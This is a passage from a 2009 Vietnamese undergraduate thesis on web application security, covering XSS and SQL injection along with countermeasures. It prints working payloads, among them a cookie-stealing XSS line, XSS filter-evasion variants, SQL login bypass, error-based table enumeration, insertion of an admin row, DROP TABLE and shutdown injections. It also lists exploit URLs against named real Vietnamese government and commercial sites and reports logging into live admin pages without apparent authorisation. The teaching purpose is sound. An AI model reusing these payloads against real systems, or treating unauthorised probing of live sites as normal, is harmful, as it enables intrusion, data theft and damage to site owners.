ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 24 - Đại học Công Nghệ - ĐHQGHN 2.3.3. Mã kịch bản tấn công XSS 2.3.3.1. Ăn cắp mã phiên làm việc của người dùng để thực hiện chiếm hữu phiên làm việc, ví dụ mã sau: document.write( "<img src=" + escape(document.cookie) + ">" ) Thêm một thẻ ảnh ở nguồn của trang web của kẻ tấn công tại trang hiện tại . Ảnh px.gif sẽ trở lại máy chủ của kẻ tấn công chỉ là một bức ảnh 1 pixel, bởi vì khi bức ảnh quay lại, kẻ tấn công sẽ có được cookie trang web của nạn nhân như là _appname_session hay là JSESSIONID từ bản ghi trên máy chủ của nạn nhân và sau đó sẽ sử dụng cho những cuộc tấn công tiếp theo. 2.3.3.2. Tạo thủ thuật để khiến người dùng làm việc không biết đến Nếu có thể thay thế ảnh thứ 38 trong nguồn của trang muốn tấn công document.images[38].src= Ảnh này được thiết kế để khiến người dùng làm việc gì mà họ không biết. Có thể là thay đổi URL đích trong một form và nhiều thứ khác. 2.3.3.3. Các cách chèn mã có thể Cách chèn mã với thẻ image Giống như trên nhưng bỏ đi dấu chấm phẩy và đấu ngoặc kép Thay đổi một chút Mã hóa các thực thể HTML Sử dụng dấu “`” trong chuỗi kịch bản vì nhiều nhà phát triển không để ý đến nó. Đặt mã kịch bản vẫn trong thẻ IMG nhưng nằm trong dấu ngoặc kép Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 25 - Đại học Công Nghệ - ĐHQGHN alert("XSS")"> Nếu không dấu ngoặc đơn hay kép nào được phép sử dụng ta có thể dùng hàm fromCharCode của Javascript để tạo ra các chuỗi từ mã Unicode Hoặc sử dụng mã hóa UTF-8 Unicode <IMG SRC=javascript:& #97;lert('XSS')> Mã hóa UTF-8 dạng dài, không có dấu chấm phẩy, <IMG SRC=javasc� 114ipt:al 1rt('XSS& #0000039)> Mã hóa hệ 16 <IMG SRC=javascript:&# x61lert('XSS')> Thêm vào một “tab” Mã hóa “tab” ở trên Nhúng vào phần xuống dòng trong mã Nhúng ký tự quay lại Mã Javascript được trải ra trên nhiều dòng Ngoài thẻ IMG, ta có thể áp dụng các cách trên với các thẻ khác trong HTML và mã kịch bản khác. Các thẻ có thẻ chèn mã kịch bản mã Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 26 - Đại học Công Nghệ - ĐHQGHN @import’trang độc hại’; ; REL=stylesheet"> XSS Nguồn : 2.3.4. Các cách phòng chống • Phương pháp đầu tiên và đơn giản nhất là thay thế các dấu ngoặc với >.<. • Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định. • Tạo ra danh sách những thẻ HTML được phép sử dụng • Xóa bỏ và lọc o Xóa bỏ thẻ o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related nào. o Lọc dấu nháy đơn hay kép o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho ứng dụng dù đã lọc bỏ thẻ vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này). o Xóa những kí tự “ > ”, “ < ” o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng. • Bảo mật cookie: Chỉ cho phép một IP xác định sử dụng cookie đã được cung cấp, không thể có hai IP khác nhau sử dụng cùng một cookie. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 27 - Đại học Công Nghệ - ĐHQGHN 2.3.5. Một số trang vẫn còn lỗ hổng của Việt Nam: Tên công ty Tên miền Liên kết bị khai thác Cục Hải Quan Bình Định www.haiqua nbinhdinh.g ov.vn TELEX&noidung=%27%22%3E%3C%2Ftitle%3E%3C script%3Ealert(1337)%3C%2Fscript%3E%3E%&TKthe o=0&TKmuc=0&btn_submit=T%C3%ACm+ki%E1%B A%BFm Siêu thị Megabuy.vn www.megab uy.vn eyword=%22%3E%3Cscript%3Ealert(1337)%3C/script %3E&x=0&y=0 Sổ tay thẩm phán – Tòa án nhân dân tối cao Việt Nam sotaythamp han.gov.vn h&hidLang=en&searchterm=l%C6%B0c%27%22%3E% 3C/title%3E%3Cscript%3Ealert(1337)%3C/script%3E% 3E% Viện năng lượng nguyên tử Việt Nam www.vaec.g ov.vn %2013k%20- %20%C4%90%C3%A3%20l%C6%B0u%20tro%27%22 %3E%3C/title%3E%3Cscript%3Ealert(1337)%3C/script %3E%3E Nguồn: 2.4. Tấn công bằng kỹ thuật chèn mã SQL (SQL Injection) 2.4.1. Giới thiệu về SQL Injection SQL injection là một kỹ thuật cho phép kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để tiêm vào và thi hành các câu lệnh SQL bất hợp pháp mà không được người phát triển ứng dụng lường trước. Kết quả là kẻ tấn công có thể có quyền sử dụng cơ sở dữ liệu, hiệu chỉnh và xóa. Vấn đề này xảy ra trên hầu hết các hệ quản trị cơ sở dữ liệu như SQL Server, My SQL, Oracle, DB2, Sysbase… Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 28 - Đại học Công Nghệ - ĐHQGHN Hình 2-8 Hacker thực hiện một cuộc tấn công thành công vào ứng dụng web (nguồn: Hacker chèn câu lệnh SQL tới cơ sở dữ liệu thông qua trình khách của ứng dụng web để lấy thông tin chi tiết về thẻ tín dụng. Quá trình thực hiện của hacker như sau: 1. Một kẻ tấn công tìm thấy lỗ hổng ở trang dành cho khách hàng của ứng dụng web và gửi một tấn công qua cổng 80/443 tới máy chủ web. 2. Máy chủ web nhận mã độc hại và gửi tới máy chủ ứng dụng web. 3. Máy chủ ứng dụng web nhận mã độc từ máy chủ web và gửi tới máy chủ cơ sở dữ liệu. 4. máy chủ cơ sở dữ liệu nhận mã độc, thực thi trên cơ sở dữ liệu và đưa ra dữ liệu từ bảng thẻ tín dụng. 5. Máy chủ web tạo ra một trang động với nội dung bao gồm thông tin chi tiết về thẻ tín dụng từ cơ sở dữ liệu. 6. máy chủ web gửi thông tin thẻ tín dụng tới cho hacker. Các ký hiệu trong hình: Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 29 - Đại học Công Nghệ - ĐHQGHN mô tả dữ liệu dịch chuyển giữa máy của hacker và máy chủ web thông qua cổng 80/443, cũng là của máy chủ ứng dụng web, máy chủ cơ sở dữ liệu, cơ sử dữ liệu đường truyền hai chiều giữa hacker và máy chủ web. dữ liệu thẻ tín dụng được lấy ra khỏi cơ sở dữ liệu 2.4.2. Các dạng tấn công SQL Injection Ta sử dụng bảng User cho các minh họa STT Tên trường Cài đặt vật lý Kiểu Lưu thông tin 1 Username Khóa chính Varchar(50) Tên đăng nhập, duy nhất 2 Password Not null Varchar(20) Mật khẩu đăng nhập 2.4.2.1. Dạng tấn công vượt qua trang đăng nhập Giả sử ứng dụng web kiểm tra đăng nhập có đoạn như sau: SQLQuery= “SELECT Username FROM User WHERE Username= ‘” & Uname & “’ AND Password= ‘” & Pass & “’” flag= GetQueryResult (SQLQuery) if flag = “” then check=FALSE else check=TRUE end if Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tìm thấy thì biến check là true ngược lại là false. Nếu giá trị nhập là: Username = ’ OR ‘’=’, Password= ’ OR ‘’=’ Thì câu lệnh SQL sẽ là SELECT Username FROM User WHERE Username= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’ Kết quả trả về người dùng đầu tiên trong bảng vì so sánh ‘’ và ‘’ luôn đúng. Ta có thể kết hợp các ký tự như “;” hay “--” để Xóa bảng User: đặt username là : “’; drop table User-- ” Câu lệnh SQL trở thành: SELECT Username FROM User WHERE Username= ‘’;drop table User-- AND Password= ‘” & Pass & “’” Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 30 - Đại học Công Nghệ - ĐHQGHN 2.4.2.2. Tấn công dựa vào câu lệnh SELECT Dạng tấn công này phải khai thác các thông báo lỗi của hệ thống tìm ra điểm yếu để tấn công. Khi ta yêu cầu một trang có ID là 123 theo URL sau Nếu trang có ID này tồn tại trong cơ sở dữ liệu thì kết quả sẽ trả về đúng trang đó. Mã nguồn của server trong trường hợp này có dạng <% Dim vNewsID, objRS, strSQL vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID 3 Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing %> Nếu ta thay giá trị của ID trở thành 0 OR 1=1 Câu truy vấn SQL sẽ trở thành SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 Và trả về kết quả là tất cả các bản ghi có trong bảng T_NEWS. 2.4.2.3. Tấn công dựa vào câu lệnh kết hợp UNION Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT. StrSQL=“SELECT Username FROM User WHERE Username like ‘% “ & Name & “’UNION SELECT Password from User” Câu lệnh trên trả về tập hợp kết quả giữa Username và Password trong bảng User (trong câu lênh có UNION, đối số trong hai mệnh đề select phải bằng nhau). Dựa vào lỗi cú pháp trả về sau khi chèn câu lệnh UNION để có thể biết kiểu của môi trường. Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 31 - Đại học Công Nghệ - ĐHQGHN vào HAVING, GROUP BY, UNION: SQLQuery=“SELECT Username,Password FROM User WHERE Username= ‘” & Uname & “’ AND Password= ‘” & Passwd & “’” Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “having” , như ví dụ sau: Giá trị nhập vào: Username: ’having 1=1— Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server] Column'User.Username' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại một trường tên là Username. Sau đó sử dụng GROUP BY: Username:‘group by User.Username having 1=1-- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server] Column'User.Password'is invalid in the select list because it is not contained in either an aggregate function or the GROUP BYclause. Như vậy Password là một trường của bảng User và được sử dụng trong câu truy vấn. Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn. Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng: Username:’union select sum(Username) from User Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau: [Microsoft][ODBC SQL Server Driver][SQL Server] The sum or average aggregate operation cannot take a varchar data type as an argument. Như vậy với thông điệp lỗi như trên thì Username chắc chắn phải là kiểu “varchar”. Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 32 - Đại học Công Nghệ - ĐHQGHN Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)— Hacker thêm nội dung như trên trở thành người quản trị mạng mà không cần mật khẩu để chứng thực Ví dụ: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User: Bước 1: Tìm tuần tự từng dòng trên bảng User Username:’union select 1,1 hoặc : Username:’union select min(Username),1 from User where Username> ’a’-- Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. Người đầu tiên trong bảng User là “admin”. Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau: Username:’;select min(Username),1 from User where Username> ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'nhimmap' to a column of data type int. Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với trường Username trong bảng User. Bước 4: Để biết thêm về tkPasswork, có thể thực hiện như sau: Username:’;select Password,1 from User where Username= ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'passOfAdmin' to a column of data type int. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 33 - Đại học Công Nghệ - ĐHQGHN 2.4.2.4. Tấn công dựa vào câu lệnh INSERT Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng, guestbook…vv… Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số). SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” & strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)” 2.4.2.5. Tấn công dựa vào STORED PROCEDURE Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống. Ví dụ: Stored procedure sp_login gồm hai tham số là username và password. Nếu nhập: Username: nhimmap Password: ‘;shutdown-- Lệnh gọi stored procedure như sau: exec sp_login ‘nhimmap’,‘’;shutdown--’ Lệnh shutdown thực hiện dừng SQL Server ngay lập tức. 2.4.3. Cách phòng chống • Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi được sử dụng. • Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi thì việc phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng. • Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v.. • Hãy loại bỏ các kí tự meta như “',",/,\,;“ và các kí tự extend như NULL, CR, LF, ...trong các string nhận được từ: o Dữ liệu nhập do người dùng đệ trình o Các tham số từ URL Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 34 - Đại học Công Nghệ - ĐHQGHN o Các giá trị từ cookie • Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. • Dùng thuật toán để mã hoá dữ liệu • Sử dụng cơ sở dữ liệu hợp lệ khác nhau cho mục đích sử dụng khác nhau (ví dụ như không cho phép người sử dụng ứng dụng server thực hiện lệnh DROP); Trong chương hai, tác giả đã trình bầy một số kỹ thuật tấn công vào ứng dụng web, để minh họa, tác giả đã thực hiện vài cuộc tấn công thành công vào một số trang web sẽ được trình bầy trong chương ba. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 35 - Đại học Công Nghệ - ĐHQGHN Chương 3. TẤN CÔNG THỰC NGHIỆM 3.1. URL Jumping Nạn nhân: Đây là trang đăng nhập của admin như hình 3.1 Hình 3-1 trang đăng nhập của admin của trang Tấn công bằng kỹ thuật URL Jumping, sử dụng URL Ta sẽ vào được trang admin mà không cần đăng nhập như hình 3.2: Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 36 - Đại học Công Nghệ - ĐHQGHN Hình 3-2 Trang quản lý của admin của trang 3.2. Lỗi XSS Nạn nhân: Hình 3-3 Chèn mã kịch bản vào trang web Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 37 - Đại học Công Nghệ - ĐHQGHN Khi người dùng bình thường vào trang: sẽ thấy lỗi hiện ra như hình 3.4: Hình 3-4 Trang bị dính lỗi XSS. 3.3. SQL Injection 3.3.1. Trang thứ nhất URL: Đây là một trang đăng nhập, ta vượt qua đăng nhập bằng cách sử dụng username: ' or '1=1 password: ' or '1=1 Hình 3.5 thể hiện trang trước khi đăng nhập: Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 38 - Đại học Công Nghệ - ĐHQGHN Hình 3-5 trang đăng nhập của admin của trang Sau khi đăng nhập như hình 3.6: Hình 3-6 Hình ảnh sau khi đã đăng nhập Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 39 - Đại học Công Nghệ - ĐHQGHN 3.3.2. Trang thứ hai URL: Đây là một trang đăng nhập, ta vượt qua đăng nhập bằng cách sử dụng username: ' or '1=1 password: ' or '1=1 Trang trước khi đăng nhập như hình 3.7: Hình 3-7 Trang đăng nhập của admin của trang Sau khi đăng nhập như hình 3.8: Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 40 - Đại học Công Nghệ - ĐHQGHN Hình 3-8 Hình ảnh sau khi đăng nhập của trang : 3.3.3. Trang thứ ba URL: Đây là một trang đăng nhập, ta vượt qua đăng nhập bằng cách sử dụng username: ' or '1=1 password: ' or '1=1 Trước khi đăng nhập như hình 3.9: Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 41 - Đại học Công Nghệ - ĐHQGHN Hình 3-9 Trang đăng nhập của admin trang Sau khi đăng nhập: Hình 3-10: Hình ảnh sau khi đăng nhập của trang Trong chương ba, tác giả đã trình bầy các kết quả của một số cuộc tấn công vào các trang web. Chương tiếp theo sẽ là phần kết luận và định hướng phát triển của luận văn. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 42 - Đại học Công Nghệ - ĐHQGHN CHƯƠNG 4. KẾT LUẬN 4.1. Kết quả đạt được Khoá luận do tác giả trình bày đã thực hiện được 3 phần: • Phần đầu trình bày tổng quan về ứng dụng web, khái niệm về bảo mật ứng dụng web. • Phần sau trình bày một số kỹ thuật tấn công vào ứng dụng web, cách phòng chống tấn công. • Phần thứ ba, luận văn đã trình bày một vài tấn công thử nghiệm vào một số trang web theo lý thuyết các phần trước. Trong thời gian thực hiện đề tài, tác giả đã tìm hiểu về các kỹ thuật tấn công vào các trang web: điều kiện tấn công, lựa chọn cách thức tấn công với các trường hợp tấn công bằng nhiều nguồn tài liệu, chủ yếu là tìm hiểu trên Internet. Tác giả đã thực hiện những cuộc tấn công thành công và không thành công. Tuy chỉ là các tấn công đơn giản nhưng qua đó tác giả hiểu bản chất của các cuộc tấn công và lỗi bảo mật của những ứng dụng web đó. 4.2. Định hướng phát triển Trong thời gian tới, nếu có điều kiện, khóa luận sẽ cố gắng phát triển thêm những nội dung sau: • Tìm hiểu thêm về các kĩ thuật tấn công để đưa ra phương pháp bảo mật ứng dụng Web ở mức độ sâu hơn. • Tìm hiểu về vấn đề bảo mật sâu hơn, không chỉ dừng ở mức độ một ứng dụng Web mà phát triển hơn vần đề bảo mật ở các hệ thống mạng và dịch vụ. • Áp dụng những kiến thức về phòng chống tấn công ứng dụng web vào công việc thực tế. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 43 - Đại học Công Nghệ - ĐHQGHN LỜI KẾT Khóa luận đã trình bày và tìm hiểu về bảo mật ứng dụng web và các lỗ hổng bảo mật trong ứng dụng web. Trải qua quãng thời gian thực hiện đề tài cùng với thầy giáo Lê Hồng Hải, tác giả đã thu được nhiều hiểu biết về ứng dụng web và bảo mật, tạo cho bản thân một nền tảng về bảo mật ứng dụng web. Những kiến thức này sẽ rất có tính thực tiễn khi tham gia vào xây dựng một hệ thống trong tương lai. Thông qua khóa luận này, em xin được gửi lời tri ân và lời chào tạm biệt tới tất cả các thầy cô, cùng bạn bè sau gần 4 năm gắn bó thời sinh viên. Xin cảm ơn mái trường Công Nghệ thân yêu – nơi rèn luyện và trưởng thành của tuổi trẻ. Hà Nội, tháng 5 năm 2009 Sinh viên Dương Thị Thu Hương Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 44 - Đại học Công Nghệ - ĐHQGHN TÀI LIỆU THAM KHẢO [1] Lê Đình Duy Tấn công kiểu SQL Injection – tác hại và phòng tránh. [2] State-Based Attacks [3] State-Based Attacks StateBasedAttacks-6.pdf. [4] Matthew Dailey Web Application Engineering,Web Application Security &course_page=lecture_notes [5] session_fixation [6] Web-Application Applications.html [7] Cross-site scripting

Các file đính kèm theo tài liệu này:

  • pdfLuận văn tốt nghiệp-Một số vấn đề bảo mật ứng dụng web.pdf